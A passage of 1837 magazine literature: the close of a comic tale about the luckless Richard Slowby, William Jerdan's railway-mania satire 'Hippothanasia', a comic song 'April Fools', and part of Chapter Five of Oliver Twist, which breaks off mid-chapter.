+Perhaps some poor fellow had been hanged in them. I got nervous and
+miserable.
+
+My hat galled my head; I removed it, and held it in my hand. It
+certainly did not look like a new one. I was ingeniously tormenting
+myself with calling to memory every disease of the scalp I had ever
+heard of, when I reached the corner of Curzon Street; and, not wishing
+to desecrate the portals of the fastidious peer by driving up in a
+"Jarvey," I got out, and made my approach on foot. I had knocked--there
+was a delay in opening the door. The porter is out of the way, thought
+I; and I took an opportunity of looking at my heels, to see if I had
+walked off with any straws from the coach. I heard the door opening;--I
+say heard, for I did not look up, my eyes just then resting on a small
+_piece of tape_ that I had been dragging in the dirt--Oh! luckless
+appurtenance of the drawers of the Jew!--Yes! the door was opening to
+admit me to the presence of my noble relation--my patron--who I trusted
+was waiting with an appointment of 1500_l._ a-year, anxious to bestow it
+on his godson--the morning that was to witness my introduction to her
+whom I had already wedded in my imagination--I saw a little piece of
+tape dangling at my heels! Before the portals of the mansion had quite
+gaped to receive me, my finger was twisted round this cruel instrument
+of destiny, in the hope of breaking it. I pulled. Acting like a knife on
+the trousers, fast strapped to my boots, and too powerful a strain on
+the drawers, though "goot ash new," both were rent to the waistband;--my
+coat ripped at the shoulder by the action of my arm;--my hat fell off,
+and was taken by the wind down the street;--and the servant, to whom,
+having finished this ingenious operation, I stood fully disclosed,
+unfortunately saw but the effects, without knowing the cause of my
+disaster.
+
+The man was too well-bred to remark my appearance, but he had every
+reason for thinking me either mad or drunk; as, to crown all, my face
+must have been flushed and distorted from rage and mortification.
+
+"My lord expects you in the library, sir," said the astounded servant.
+
+An abrupt "Tell my lord I'll call again" was my only reply, delivered
+over my shoulder as I dashed from the door, perfectly unconscious of
+what I was about, till I found myself in a tavern, the first friendly
+door that was open to receive me. I here composed my bewildered
+senses, despatched a messenger for a tailor, and set myself down to
+concoct a note to Lord Snaile. But how narrate to the most particular,
+matter-of-fact, and yet fastidious, man in the world the events of
+that morning? I threw the pen and paper from me in despair. Nothing
+now remained but to wait patiently, if possible, till I could make my
+excuses in person.
+
+The tailor came, and in about an hour and a half I was again on my way
+to his lordship's residence; but alas! ere I reached it, I met my steady
+young brother, who with much formality thus addressed me.
+
+"Richard Slowby, your conduct this morning is the climax of your
+excesses. His lordship requests that he may not in future be favoured
+with your visits in Curzon Street; and I consider it my duty to inform
+you, that these will be equally disagreeable in ---- Square."
+
+I felt at that moment too proud to ask for, or offer, explanations.
+I saw by the twinkle of his cold grey eye that _he_ had received the
+appointment, and of course it would have been against his principles to
+resign it in my favour; so I merely told him that I should have great
+pleasure in attending to the wishes of two men I so _equally_ respected
+as Lord Snaile and Sir James Slowby: and, bidding him a very good
+morning, I left him to his self-gratulations.
+
+About a twelvemonth afterwards, I elicited from the servant who had
+opened the door to me, and delivered my unfortunate message to his
+lordly master, the following particulars.
+
+It appears that on the man entering the library he found the peer
+and the baronet seated together, the eyes of the former fixed on a
+time-piece, which told the startling fact that the hour of appointment
+was past, by five minutes. "Is Mr. Slowby come?" said my lord, turning
+suddenly towards the servant.
+
+"Yes, my lord; but----"
+
+"Show him in directly, sir. Did I not tell you I expected Mr. Slowby,
+and ordered him to be admitted?"
+
+"I told the gentleman so, my lord, and that you were waiting for him,
+and he said he would call again. I am afraid the gentleman is unwell, my
+lord."
+
+"Unwell!" cried his lordship, "and you allowed him to quit the house?"
+
+"He ran away, my lord;" and here, not knowing how far it would be safe
+to give the conclusion he had drawn from my extraordinary manner and
+appearance, the man hesitated.
+
+"Tell me why, this instant, sir," exclaimed his master; "there is some
+mystery, and I will know it."
+
+"I beg pardon, my lord, but Mr. Slowby seemed much excited--was
+without his hat, had torn clothes--scarcely decent, my lord. I hope
+your lordship will excuse me, but the gentleman seemed flushed with
+after-dinner indulgence in the morning, my lord."
+
+On this well-bred announcement of my being drunk, the peer and his
+companion exchanged significant looks.
+
+"You may go," said my lord, bowing his head to the servant: but ere
+my informant got further than the neutral ground between the double
+doors, he heard my kind brother say, "Just like him;--dined yesterday at
+Norwood."
+
+"A disgrace to the family!" sorrowfully remarked his lordship. "I had
+hoped to benefit him, but"--a pause--"the appointment is yours, Sir
+John. I could not trust it with a man of his character."
+
+It is satisfactory to know the particulars of one's misfortunes, and
+these were given me at the "Bear" in Piccadilly. After being cut by all,
+as a graceless vagabond, when it was discovered that I had few meals
+to say grace over, I am now considered dead to society; but I am, in
+fact, "living for revenge." To spite the omnibuses, and abuse the cads
+at my leisure, I drive a short stage out of town; and if any gentleman
+knows one Dick Hastings, and will "please to remember the coachman," he
+who will drink to his honour's good health will be the luckless Richard
+Slowby.
+
+
+
+
+                HIPPOTHANASIA; OR, THE LAST OF TAILS.
+                A LAMENTABLE TALE; BY WILLIAM JERDAN.
+
+            "London and Brighton _Railway_ (quatuor);
+            Brighton and London _Railway_, without a tunnel;
+            Gateshead, South-Shields, and Monk-Wearmouth
+            _Railway_; London Grand-junction _Railway_; Northern
+            and Eastern _Railway_; Southeastern _Railway_; Great
+            Northern _Railway_; Great Western _Railway_; London
+            and Birmingham _Railway_; London and Greenwich
+            _Railway_; Croydon _Railway_; North-Midland _Railway_;
+            London and Blackwall _Railway_; Commercial-road
+            _Railway_; Wolverhampton and Dudley _Railway_;
+            Liverpool and Manchester _Railway_; Hull and Selby
+            _Railway_; Newcastle-upon-Tyne and Carlisle _Railway_;
+            Kingston-upon-Hull _Railway_; Durham Junction
+            _Railway_; Edinburgh and Glasgow _Railway_; Dublin and
+            Kingstown _Railway_; Dublin and Bantry Bay _Railway_;
+            London and Gravesend _Railway_; Commercial _Railway_;
+            Eastern Counties _Railway_; Llanelly _Railway_; London,
+            Salisbury and Exeter _Railway_; Preston and Wye
+            _Railway_; Bristol and Exeter _Railway_; Gravesend and
+            Dover _Railway_; Gravesend, Rochester, Chatham, and
+            Stroud _Railway_; London and Southampton _Railway_;
+            Gateshead and South Shields _Railway_; Cheltenham
+            and Great Western _Railway_; Lincoln _Railway_;
+            Leicester and Swannington _Railway_; Newcastle and
+            York _Railway_; Birmingham and Derby _Railway_;
+            Bolton and Leigh _Railway_; Canterbury and Whitstable
+            _Railway_; Clarence _Railway_; Cromford and Peak
+            Forest _Railway_; Edinburgh and Dalkeith _Railway_;
+            Dean Forest _Railway_; Hartlepool _Railway_; St.
+            Helens and Runc. Gap _Railway_; Manchester and Oldham
+            _Railway_; Preston and Wigan _Railway_; Stanhope and
+            Tyne _Railway_; Stockton and Darlington _Railway_;
+            Warrington and Newton _Railway_; the Grand Incomparable
+            North-southern, East-western _Railway_, with parallel
+            and radiating Branches," &c. &c. &c.
+
+"It may be observed," (says a newspaper in our hand, quite as correctly
+informed as newspapers usually are,) "that the railway companies now
+forming, of which we have a list before us, require a capital of upwards
+of thirty millions of pounds, divided into nearly five hundred thousand
+shares."
+
+This was in the year 1836; and the horror it excited in the race of
+horses, native and foreign, inhabitants of the British empire, is not
+to be described. A knowledge of the habits and intelligence of this
+species is only to be obtained from the writings of our matter-of-fact
+and lamented predecessor, Captain Lemuel Gulliver, whose travels among
+the Houyhnhnms, rather more than a century ago, may have been heard
+of by a few of our antiquarian and classical readers. To that work we
+would refer, to show that Houyhnhnm is "the perfection of nature;" which
+truth will partly account for the following melancholy narrative. "I
+admired" (the author writes) "the strength, comeliness, and speed of
+the inhabitants; and such a constellation of virtues in such amiable
+persons, produced in me the highest veneration."
+
+Having the view of horse-flesh which this preface opens, though we
+have not had an opportunity of studying it so purely under our mixed
+government, breeds, and circumstances, it is unnecessary to explain
+the panic which arose on the announcement of so universal a system of
+railways to supersede the noble animal in every beneficial and elegant
+office, and reduce it to the condition of a useless sinecurist, even
+if permitted to live on human bounty. The result was that, when the
+severities of winter fell thick and fast, a convocation was held by
+moonlight in Smithfield, and adjourned, owing to the multitude, to
+Horselydown, (so called from King John being tumbled off his nag by that
+process in that locality,) and, after a most interesting discussion,
+it was unanimously resolved that every horse in Great Britain should
+die. Wherefore should they live? Steam-boats had thrown the wayfaring
+trackers out of hay; steam-ploughs, the agricultural labourers out of
+oats; steam-carriages, the best of posters out of employment; steam
+guns, the military out of service; steam-engines, the mechanics out of
+mills and factories;--in short, their occupations were gone, and they
+knew not where they could get a bit to their mouths. Wherefore should
+they live!
+
+The resolution having been communicated throughout the country, and
+an hour appointed for the catastrophe, though it had nigh broken the
+hearts of some petted ponies and favourites, it was obeyed with all
+the stubborn _sted_-fastness of this illustrious creature. Racers and
+hunters, coach and cart, high-bred and low, drays and galloways, saddle
+and side ditto, Suffolk punches and dogsmeat, cobs and cabs, hacks
+and shelties, respectables and rips, old and young, stallions, mares,
+geldings, colts, foals, and fillies,--all perished at the same time.
+O'Connell's tail was the only one that remained extant in England,
+Wales, Scotland, and Ireland; but this our tale hath no reference to
+that. It may be inquired by the physiologist what were the means of
+death to which the abhorrence of steam induced the horses to resort; and
+it is gratifying to be able to satisfy their thirst for knowledge by
+stating that they died of the _Vapours_.
+
+But we now come to the extraordinary results which must spring from
+the fatal fact we have just recorded. "_What next?_" as the political
+pamphleteer sayeth:--ay, _what next_? How will the country go on? _What
+will the Lords do_--without horses?
+
+The revolution produced by the event was immediately felt in every part
+of the empire, in every pursuit, in every trade, in every amusement.
+Within four-and-twenty hours, the isle was frighted from her propriety,
+and England could no longer be recognised for herself. It is true that
+the crown remained; but how shorn of its beams! And then the whole
+_Equestrian_ order had been destroyed at a blow. Talk of swamping the
+Peers! it was done, and they could dragoon the representatives of the
+people no more. And in proportion to their fall was the rise of the
+_Commoners_. Not a donkey-man whose ass fed on these wastes, but found
+himself in a higher and more powerful position. When horses are out of
+the field, great is the increase of the value of asses. The brutes, it
+is true, are still long-eared, obstinate, devoid of speed, rat-tailed,
+and stupid; but, in the absence of nobler beasts, whatever is, must be
+first. And so it now happened. The huckster, the gipsy, the higgler, the
+donkey-driver of Margate, the costermonger, the sandman, every asinine
+possessor mounted in the scale, as it fell out, with a one or more
+ass power, and the scum became the top of the boiling-pot of society,
+who all at once found themselves gentlemen of property and influence.
+Little had the superior classes dreamed how entirely their dignity and
+consequence depended on their "cattle;" but now, when a Wellington,
+a Grey, a Melbourne, an Anglesey, a Jersey, a Cavendish, a Fane, a
+Somerset, had to trudge on foot through the muddy streets, whilst the
+Scrogginses, the Smiths, the Gileses, the Toms, Bills, and Charleys
+honoured them with a nod and a splash as they scampered by, shouting "Go
+it, Neddy!" it was sadly demonstrated to them, and to the world, that
+their former personal vanity, pride, and presumption had been built on
+a false foundation; for it was not themselves, but their fine and noble
+horses, that had won the observance and submissiveness of their fellow
+men unmounted.
+
+The instant effects of the hippo-hecatomb in every circle and business
+of life were as remarkable as they were important. No previous
+imagination could have suggested a homoeopathic part of the vast
+change. His Majesty had decided to open parliament, not by proxy, but in
+person,--that is to say, he was to proceed to the House in royal state,
+and read his speech as if it were his own, instead of leaving it to five
+gentlemen in large cloaks, as if it were theirs, and he ashamed to march
+through Coventry with them; but, alas the day! the cream-coloured steeds
+were all dead, and the blacks were as pale as the cream. Windsor awoke
+in affright and dismay. There were the royal carriages, and there the
+coachmen, and there the grooms, and there the hussars; but where were
+the horses? Gone! It was a moment for an ebullition of loyalty, and we
+record it as an everlasting honour to their young patriotic feelings,
+that the boys at Eton, in this mighty emergency, respectfully offered
+their services to drag the King to London, providing the head-master
+sat upon the box as driver, and the ushers clustered behind, in the
+character of the footmen. A council held on the proposition decided
+that the task would be too much for the tender years of the Etonians,
+and especially as drawing had hardly been taught in that classic
+establishment; so that, instead of being competent to draw a monarch,
+there was not a boy in the school who could draw anything. At Woolwich
+it was quite the reverse. In the increasing dilemma,--for his Majesty
+declined the walk, and the route by the river could not be performed in
+time,--it was resolved to despatch one of the royal messengers on the
+swiftest ass which the town could produce, and order a short prorogation
+till measures could be adopted to meet the awful exigences of the crisis.
+
+In London, meanwhile, the consternation was equally overwhelming, if not
+more so. Ministers met in cabinet, but, as usual, knew not what to do;
+and so agreed to lie by, a bit, and see how matters might shape their
+own course. The First Lord of the Treasury and three secretaries sat
+down to a rubber of long whist, half-crown points; the Lord President
+of the Council, First Lord of the Admiralty, President of the Board
+of Control, Chancellor of the Duchy of Lancaster, and Lord Privy
+Seal, preferred three-card loo; and the Chancellor of the Exchequer
+and the President of the Board of Trade had a capital _tête-à-tête_
+bout at brag. The other officers of state employed themselves as
+they could, from the Lord High Chancellor to the store-keepers and
+under-secretaries. And meanwhile the public mind, that is to say, all
+the mind inside the hats of the mob about Whitehall and Westminster, was
+in a tumult of excitement. Two o'clock struck, and no guns were heard:
+three, and the patereros were dumb. The clock of the Horse Guards--the
+Horse Guards! a name of departed glory and present woe!--told the
+hour in vain; till, just as it gave warning for four, a breathless
+and panting ass was seen galloping into Downing street. It bore the
+express from Windsor, who by prodigious exertions had accomplished the
+journey in less than seven hours. The unfinished rubber was broken up,
+to the heavy mortification of the First Lord, who scored eight, and was
+looking forward to a call of the honours; the loo-scores were balanced
+and settled, the First Lord of the Admiralty pocketing the profits, in
+consequence of taking one for his heels as the donkey turned up; and
+"I brag" fell no more from Exchequer or Trade. But it was already too
+late to restore order; and confusion in the midst of deliberation only
+became worse confounded. Extraneous calamities every instant interfered.
+No mails had arrived, and very few peeresses. The letters containing
+friendly assurances from foreign governments were in post-offices,
+Heaven knew at what distances. Such of the ministers, bachelor as well
+as married, as were directed by their grey mares, had no opportunity
+for consulting and receiving their commands, though it must have been
+in some degree a consolation to feel that they remained amid the wreck
+of horse-flesh. In short, in politics, as at cards, the game was up.
+The English constitution was not the constitution of a horse, and it
+gave way before the frightful revolution; and, to add to the individual
+horrors of the scene, the Master of the Buckhounds, the Master of the
+Horse, the Postmaster-General, and the Master of the Rolls (why _he_,
+could never be conjectured) committed suicide in the course of the
+ensuing night; and the Lord Chancellor became a confirmed lunatic, under
+his own care.
+
+It were tedious to trace all the varieties of aspects into which this
+awful event plunged the nation: a few, briefly described, may suffice
+to indicate its universal extent and terrible alterations. Routs, ball,
+at homes, operas, and every fashionable amusement and resort were
+abrogated. The ladies of the land were bowed to the ground. Visits
+could not be paid: to dress was unnecessary. There was no crush-room;
+and milliners, mantua-makers, perfumers, and jewellers were crushed.
+Seventeen old sedan-chairs were the total that could be discovered
+in London; and these, with the succedaneum suggested by the witty
+Countess of ----, viz. mounting such of the porters' hall-chairs as
+were susceptible of the improvement upon poles, in a similar manner,
+constituted the whole migrations of the fashionable world. We will not
+allude to the meetings baulked, and the assignations broken, through
+this unfortunate state of things; and are only sorry to say it did not
+add to the sum of domestic felicity.
+
+The Park--dismal was the Park! Exquisites, more helpless than ever,
+tottered along its almost deserted walks. There was not one who,
+
+    ----With left heel insidiously aside,
+    Provoked the caper he would seem to chide;
+
+nor was there a pretty woman to smile at him if he had. Could the race
+have obtained asses, it would have been most unnatural to ride them; and
+thus they vanished from the vision of society.
+
+Ascot was not particularly unhappy, though the King's cup was a cup of
+dregs. But Bentinck and Crocky, Richmond and Gully, Exeter and Lamb,
+Rutland and ----, Jersey and ----, Chesterfield and the rest of the legs,
+got up an excellent two days' sport. Running in sacks afforded ample
+opportunities for betting heavily; and wheelbarrow races, with the
+barrow-drivers blindfolded or partially enlightened, were found quite as
+good as anything which had been done before, and allowing quite as much
+scope for the honourable strategies of the turf. An immense number of
+useless horsecollars were brought to be grinned through; and the books
+of literature and intelligence surpassed, if anything, those of other
+times.
+
+At Epsom, the old and general patrons of that course having now the
+ascendency, indulged in donkey races, at which the poor nobility gazed
+with speechless regret. The last were truly the first, here.
+
+Among the instances of individual ruin, none was more unentertaining
+than that of Mr. Ducrow. Reduced to a single zebra, he was obliged to
+turn wanderer and mendicant; the stripes of Misfortune were vividly
+impressed upon him. Circuses and amphitheatres ceased; and the dragon
+was more than a match for the poor horseless St. George. What a symbol
+of the decline of England, when even her patron saint must yield to a
+Saurian reptile!
+
+Of all human beings affected by the calamity, deep as were the
+afflictions of others, perhaps those who evinced the most sensitive and
+overpowering feelings on the occasion, were the butchers' boys. As a
+class, they evidently suffered beyond the rest. Betrayed, unsupported,
+and wretched, they trudged under the heavy burthens of fate, as if
+the world--as indeed in one sense it was--were out of joint for them.
+The centaurs of antiquity were destroyed by a demigod; but the modern
+centaurs had nothing to soothe their pride. They were hurled down, but
+living and without a hope. Poor lads! every heart bled for them.
+
+There were another set of men, almost equally unfortunate, though they
+endured it with greater equanimity,--the late royal horseguards, with
+all their splendid caparisons, their tags and tassels, their sashes
+and sabres, their spurs and epaulettes, their helms and feathers; the
+officers, people of the first families in the country, the men, the
+picked and chosen of the plebeian many. The high _élite_ and the low,
+reduced alike by unsparing destiny to foot it with the humblest,--it
+was a grievous blow; and, considering their Uniform conduct, most
+undeserved. And it was accordingly felt that among the earliest evils
+for which a remedy should be sought, was the remounting of those so
+essential to the dignity of the throne and the safety of the realm. True
+it was, that of the animals they once bestrode not a skin was left; but
+donkeys were to be procured at excessive prices; and they were obtained
+for this especial purpose. As yet, the manoeuvres of the Royal Ass
+Guards are more amusing than seemly; but there is no doubt that with
+time and discipline they will be, as before, the foremost corps in the
+service.
+
+It were easy to enlarge upon similar topics to the end of this tome,
+but they would only serve to illustrate that which, we trust, we have
+illustrated enough. At Melton it was melancholy to see the gay hunter,
+unable to risk his limbs and neck, reduced to stalking,--and stalking,
+too, without a horse. Carts being _hors de combat_, the truck system
+began to prevail in all quarters, and, bad as it was, what could not
+be cured must be endured. Londonderry went into mourning on account of
+having exported seventy asses to Canada by a vessel which sailed about a
+month before, about the same period that the old bear at the Tower was
+sent to America, together with the monkey which bit Ensign Seymour's
+leg. Scotland suffered in the extreme, in spite of its excellent banking
+business and assets, for there was scarcely an ass in the country,
+except among some gipsies at Yetholm (vide Guy Mannering); and if, as
+we are certain it is not, one in a thousand of our readers ever saw a
+dead jackass anywhere, it will be agreed that not one in a million could
+ever enjoy that spectacle on the north side of Tweed. But enough: the
+kingdom was turned upside down,--old gentlemen without their hobbies,
+young gentlemen without their exhibitions, sportsmen without their
+sports, schoolboys in the holidays without their ponies, ladies without
+their rides and knights,[70] coachmen without their hacks, waggoners
+without their teams, barges without their draughts, the army without
+cavalry, and a king and aristocracy without equipages,--the revolution
+is complete.
+
+In picturing this appalling change, it is but proper to notice that
+the agricultural interests have not been so severely dealt with. The
+substitution of bullocks was effected without much difficulty in most
+farms; and in others hand labour was happily introduced, which employed
+the poor, and, upon the whole, rather ameliorated the condition of the
+people.
+
+At first, and for a while, it appeared as if dogs, as well as asses,
+would rise in value; but it was soon discovered that every dog would
+have only a short day. Like honest creatures as they are, they pulled
+and tugged at the cruel loads imposed upon them, till gradually their
+strength departed from them, and they died away. Their supply of food
+had failed, and the last of the knackers had followed the last of the
+tails. Pigs were tried, but positively refused to train. They smelt
+the wind, or what was in it; and, when out of breath, had no idea
+of getting a new one. A few goats in babies' shays were honoured as
+well-bearded and respectable-looking substitutes for the departed; and
+the Principality published several triads on the auspicious circumstance.
+
+But there was a curious coincidence in London, which puzzled the British
+Association, the Royal Society, and other learned bodies, and which
+it is probable never can be satisfactorily accounted for. We refer to
+the sudden and enormous rise in the price of German, Strasburg, and
+Bologna sausages. Epping, like Epsom, might be involved in the national
+difficulty; but how distant countries, Germany and Italy, could by
+possibility be affected, was a mystery which the Geographical, and even
+the Statistical Society, professed themselves incompetent to determine.
+
+From bad to worse has been the rapid declension of the empire since
+the fatal day of the fatal catastrophe which is the subject of this
+pitiable historical record. Competition, too faint for success, having
+ceased, steam and smoke have everywhere usurped the once blooming
+soil. From them, we are now a land of clouds,--murky clouds, to which
+those of Aristophanes are but fanciful and brilliant exhalations.
+Intersected by railroads, the iron age is restored, and the golden has
+vanished for ever. The commonweal revolves on the axes of tramwheels and
+trains; the reins of government are utterly relaxed; and the country,
+saddled with taxes and burthens, can no longer afford its inhabitants
+a single morsel. Engineers and speculators are bringing us to a dead
+level everywhere; and a republic is the inevitable consequence. For
+our parts, with the stomach of a horse, and loving beyond measure a
+sound horse-laugh, emigration is our immediate purpose. By Strasburg
+and Bologna will we wend our way, and endeavour to fathom the
+sausage-wonder; and thence, if no better may be, we shall sail for the
+Houyhnhnms' Land, (to the south of Lewin's and Nuyt's Land, and the west
+of Maelsuyker's Isle), and, at all events, make our finale like Trojans,
+by trusting to the horse!
+
+[70] _Quære_, rides and ties.
+
+
+
+
+       OUR SONG OF THE MONTH.
+       No. IV. April, 1837.
+           APRIL FOOLS.
+
+   _Giojosamente! e con espressione burlesca._
+
+   [Music: April Fools]
+
+    Now mer-ry Mo-mus rules
+          _A-pril fools! A-pril fools!_
+    And with quirp and quil-let schools
+          _A-pril fools!_
+    'Tis the sea-son of the year,
+    When we hold it to be clear
+    That all, more or less, ap-pear
+          _A-pril fools! A-pril fools!_
+
+    Now, at every turn, we meet
+          _April fools! April fools!_
+    In park, in square, and street,
+          _April fools!_
+    Now "_pigeon's milk_" is sought,
+    "Useful knowledge" cheaply bought,
+    Pleasant lessons, too, are taught
+          _April fools! April fools!_
+
+    Now little boys are made
+          _April fools! April fools!_
+    (By bigger boys betrayed,)
+          _April fools!_
+    Now boys, the world calls "old,"
+    Deceived by damsels bold,
+    Find out they are cajoled
+          _April fools! April fools!_
+
+    Now sportive nymphs beguile,
+          _April fools! April fools!_
+    With gamesome trick and wile,
+          _April fools!_
+    In vain the charming sex
+    Would their lovers' heart perplex,
+    They may cheat, but cannot vex
+          _April fools! April fools!_
+
+    Now Evans and his crew,
+          _April fools! April fools!_
+    Find fighting will not do,
+          _April fools!_
+    Now Sarsfield, Espartero,
+    And many a battered hero,
+    Place Spanish funds at zero,
+          _April fools! April fools!_
+
+    Now ministers are termed
+          _April fools! April fools!_
+    And their titles are confirmed,
+          _April fools!_
+    Now Whigs astute, kicked out,
+    Hear the deep derisive shout
+    Echo wide the land throughout,
+          _April fools! April fools!_
+
+    Now costermonger scribes--
+          _April fools! April fools!_--
+    Pen their dullest diatribes,
+          _April fools!_
+    In Bentley's Magazine,
+    Alone, are to be seen
+    Wits, who scourge with satire keen
+          _April fools! April fools!_
+
+    Now readers, grave or gay,
+          _April fools! April fools!_
+    We shall terminate our lay,
+          _April fools!_
+    And we trust that you perceive,
+    We are laughing in our sleeve,
+    As these idle rhymes we weave,
+          _April fools! April fools!_
+
+
+
+
+                      OLIVER TWIST;
+             OR, THE PARISH BOY'S PROGRESS.
+                         BY BOZ.
+
+             ILLUSTRATED BY GEORGE CRUIKSHANK.
+
+
+                   CHAPTER THE FIFTH.
+
+ OLIVER MINGLES WITH NEW ASSOCIATES, AND, GOING TO A FUNERAL FOR THE
+  FIRST TIME, FORMS AN UNFAVOURABLE NOTION OF HIS MASTER'S BUSINESS.
+
+Oliver, being left to himself in the undertaker's shop, set the lamp
+down on a workman's bench, and gazed timidly about him with a feeling
+of awe and dread, which many people a good deal older than Oliver will
+be at no loss to understand. An unfinished coffin on black tressels,
+which stood in the middle of the shop, looked so gloomy and death-like,
+that a cold tremble came over him every time his eyes wandered in
+the direction of the dismal object, from which he almost expected to
+see some frightful form slowly rear its head to drive him mad with
+terror. Against the wall were ranged in regular array a long row of
+elm boards cut into the same shape, and looking in the dim light like
+high-shouldered ghosts with their hands in their breeches pockets.
+Coffin-plates, elm-chips, bright-headed nails, and shreds of black
+cloth, lay scattered on the floor; and the wall above the counter was
+ornamented with a lively representation of two mutes in very stiff
+neckcloths, on duty at a large private door, with a hearse drawn by four
+black steeds approaching in the distance. The shop was close and hot,
+and the atmosphere seemed tainted with the smell of coffins. The recess
+beneath the counter in which his flock-mattress was thrust, looked like
+a grave.
+
+Nor were these the only dismal feelings which depressed Oliver.
+He was alone in a strange place; and we all know how chilled and
+desolate the best of us will sometimes feel in such a situation. The
+boy had no friends to care for, or to care for him. The regret of no
+recent separation was fresh in his mind; the absence of no loved and
+well-remembered face sunk heavily into his heart. But his heart _was_
+heavy, notwithstanding; and he wished, as he crept into his narrow
+bed, that that were his coffin, and that he could be laid in a calm
+and lasting sleep in the churchyard ground, with the tall grass waving
+gently above his head, and the sound of the old deep bell to soothe him
+in his sleep.
+
+Oliver was awakened in the morning by a loud kicking at the outside
+of the shop-door, which, before he could huddle on his clothes, was
+repeated in an angry and impetuous manner about twenty-five times; and,
+when he began to undo the chain, the legs left off their volleys, and a
+voice began.
+
+   [Illustration: Oliver plucks up a spirit.]
+
+"Open the door, will yer?" cried the voice which belonged to the legs
+which had kicked at the door.
+
+"I will directly, sir," replied Oliver, undoing the chain, and turning
+the key.
+
+"I suppose yer the new boy, a'nt yer?" said the voice, through the
+key-hole.
+
+"Yes, sir," replied Oliver.
+
+"How old are yer?" inquired the voice.
+
+"Eleven, sir," replied Oliver.
+
+"Then I'll whop yer when I get in," said the voice; "you just see if
+I don't, that's all, my work'us brat!" and, having made this obliging
+promise, the voice began to whistle.
+
+Oliver had been too often subjected to the process to which the very
+expressive monosyllable just recorded bears reference, to entertain
+the smallest doubt that the owner of the voice, whoever he might be,
+would redeem his pledge most honourably. He drew back the bolts with a
+trembling hand, and opened the door.
+
+For a second or two, Oliver glanced up the street, and down the street,
+and over the way, impressed with the belief that the unknown, who had
+addressed him through the key-hole, had walked a few paces off to warm
+himself, for nobody did Oliver see but a big charity-boy sitting on the
+post in front of the house, eating a slice of bread and butter, which
+he cut into wedges the size of his mouth with a clasp-knife, and then
+consumed with great dexterity.
+
+"I beg your pardon, sir," said Oliver, at length, seeing that no other
+visitor made his appearance; "did you knock?"
+
+"I kicked," replied the charity-boy.
+
+"Did you want a coffin, sir?" inquired Oliver, innocently.
+
+At this the charity-boy looked monstrous fierce, and said that Oliver
+would stand in need of one before long, if he cut jokes with his
+superiors in that way.
+
+"Yer don't know who I am, I suppose, work'us?" said the charity-boy,
+in continuation; descending from the top of the post, meanwhile, with
+edifying gravity.
+
+"No, sir," rejoined Oliver.
+
+"I'm Mister Noah Claypole," said the charity-boy, "and you're under me.
+Take down the shutters, yer idle young ruffian!" With this Mr. Claypole
+administered a kick to Oliver, and entered the shop with a dignified
+air, which did him great credit: it is difficult for a large-headed,
+small-eyed youth, of lumbering make and heavy countenance, to look
+dignified under any circumstances; but it is more especially so, when,
+superadded to these personal attractions, are a red nose and yellow
+smalls.
+
+Oliver having taken down the shutters, and broken a pane of glass in
+his efforts to stagger away beneath the weight of the first one to a
+small court at the side of the house in which they were kept during the
+day, was graciously assisted by Noah, who, having consoled him with the
+assurance that "he'd catch it," condescended to help him. Mr. Sowerberry
+came down soon after, and, shortly afterwards, Mrs. Sowerberry appeared;
+and Oliver having "caught it," in fulfilment of Noah's prediction,
+followed that young gentleman down stairs to breakfast.
+
+"Come near the fire, Noah," said Charlotte. "I saved a nice little piece
+of bacon for you from master's breakfast. Oliver, shut that door at
+Mister Noah's back, and take them bits that I've put out on the cover of
+the bread-pan. There's your tea; take it away to that box, and drink it
+there, and make haste, for they'll want you to mind the shop. D'ye hear?"
+
+"D'ye hear, work'us?" said Noah Claypole.
+
+"Lor, Noah!" said Charlotte, "what a rum creature you are! Why don't you
+let the boy alone?"
+
+"Let him alone!" said Noah. "Why everybody lets him alone enough, for
+the matter of that. Neither his father nor mother will ever interfere
+with him: all his relations let him have his own way pretty well. Eh,
+Charlotte? He! he! he!"
+
+"Oh, you queer soul!" said Charlotte, bursting into a hearty laugh, in
+which she was joined by Noah; after which they both looked scornfully
+at poor Oliver Twist, as he sat shivering upon the box in the coldest
+corner of the room, and ate the stale pieces which had been specially
+reserved for him.
+
+Noah was a charity-boy, but not a workhouse orphan. No chance-child was
+he, for he could trace his genealogy back all the way to his parents,
+who lived hard by; his mother being a washerwoman, and his father a
+drunken soldier, discharged with a wooden leg and a diurnal pension of
+twopence-halfpenny and an unstateable fraction. The shop-boys in the
+neighbourhood had long been in the habit of branding Noah in the public
+streets with ignominious epithets of "leathers," "charity," and the
+like; and Noah had borne them without reply. But now that fortune had
+cast in his way a nameless orphan, at whom even the meanest could point
+the finger of scorn, he retorted on him with interest. This affords
+charming food for contemplation. It shows us what a beautiful thing
+human nature is, and how impartially the same amiable qualities are
+developed in the finest lord and the dirtiest charity-boy.
+
+Oliver had been sojourning at the undertaker's some three weeks or a
+month, and Mr. and Mrs. Sowerberry, the shop being shut up, were taking
+their supper in the little back-parlour, when Mr. Sowerberry, after
+several deferential glances at his wife, said,
+
+"My dear--" He was going to say more; but, Mrs. Sowerberry looking up
+with a peculiarly unpropitious aspect, he stopped short.
+
+"Well!" said Mrs. Sowerberry, sharply.
+
+"Nothing, my dear, nothing," said Mr. Sowerberry.
+
+"Ugh, you brute!" said Mrs. Sowerberry.
+
+"Not at all, my dear," said Mr. Sowerberry, humbly. "I thought you
+didn't want to hear, my dear. I was only going to say----"
+
+"Oh, don't tell me what you were going to say," interposed Mrs.
+Sowerberry. "I am nobody; don't consult me, pray. _I_ don't want to
+intrude upon your secrets." And, as Mrs. Sowerberry said this, she gave
+an hysterical laugh, which threatened violent consequences.
+
+"But, my dear," said Sowerberry, "I want to ask your advice."
+
+"No, no, don't ask mine," replied Mrs. Sowerberry, in an affecting
+manner; "ask somebody else's." Here there was another hysterical laugh,
+which frightened Mr. Sowerberry very much. This is a very common and
+much-approved matrimonial course of treatment, which is often very
+effective. It at once reduced Mr. Sowerberry to begging as a special
+favour to be allowed to say what Mrs. Sowerberry was most curious to
+hear, and, after a short altercation of less than three quarters of an
+hour's duration, the permission was most graciously conceded.
+
+"It's only about young Twist, my dear," said Mr. Sowerberry. "A very
+good-looking boy that, my dear."
+
+"He need be, for he eats enough," observed the lady.
+
+"There's an expression of melancholy in his face, my dear," resumed Mr.
+Sowerberry, "which is very interesting. He would make a delightful mute,
+my dear."
+
+Mrs. Sowerberry looked up with an expression of considerable wonderment.
+Mr. Sowerberry remarked it, and, without allowing time for any
+observation on the good lady's part, proceeded,
+
+"I don't mean a regular mute to attend grown-up people, my dear, but
+only for children's practice. It would be very new to have a mute in
+proportion, my dear. You may depend upon it that it would have a superb
+effect."
+
